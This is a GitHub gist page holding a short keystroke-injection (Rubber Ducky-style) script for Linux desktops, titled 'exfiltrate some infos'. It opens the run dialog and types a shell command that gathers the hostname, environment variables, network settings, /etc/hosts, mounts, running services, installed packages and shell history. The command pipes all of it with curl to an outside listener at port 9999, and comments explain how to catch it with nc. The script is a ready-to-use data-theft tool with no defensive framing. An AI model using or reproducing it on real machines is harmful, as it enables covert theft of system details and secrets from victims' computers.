Skip to content

Instantly share code, notes, and snippets.

@JonnyBanana
Created April 17, 2018 03:29

Revisions

  1. JonnyBanana created this gist Apr 17, 2018.
    9 changes: 9 additions & 0 deletions exfiltrate some infos...
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,9 @@
    REM Exfiltrate various useful information.
    REM To capture, run `nc -l 9999`.
    REM Make sure to update the hostname before using it.

    DELAY 1000
    ALT F2
    DELAY 100
    STRING sh -c "{ printf 'Hostname: '; hostname; echo; printf 'uname: '; uname -a; echo; echo Env:; env; echo; echo Network:; nmcli; echo; /sbin/ifconfig -a; echo '/etc/hosts:'; cat /etc/hosts; echo; echo Mounts:; mount; echo; echo 'Running services:'; netstat -tunlpe; echo; echo 'Installed packages:'; dpkg -l || dnf list --installed || pacman -Ql; echo; echo 'Command history:'; history; echo; } | curl -F data='<-' http://eternal-pickle:9999"
    ENTER